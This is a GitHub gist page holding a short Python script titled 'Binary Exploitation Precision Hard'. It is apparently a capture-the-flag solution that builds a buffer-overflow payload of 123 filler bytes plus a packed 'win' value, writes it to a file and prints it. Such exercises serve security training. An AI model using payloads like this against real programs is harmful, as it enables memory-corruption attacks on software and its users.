Skip to content

Instantly share code, notes, and snippets.

@morkev
Created November 24, 2024 07:52
Show Gist options
  • Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.
Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.
Binary Exploitation Precision Hard
import struct
buffer_size = 123
offset_to_win = 123
offset_to_lose = 127
padding = offset_to_win
win_value = struct.pack("<I", 1)
payload = b"A" * padding + win_value
assert len(payload) <= offset_to_lose
with open("payload.bin", "wb") as f:
f.write(payload)
print(payload.decode('latin-1'), end='')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment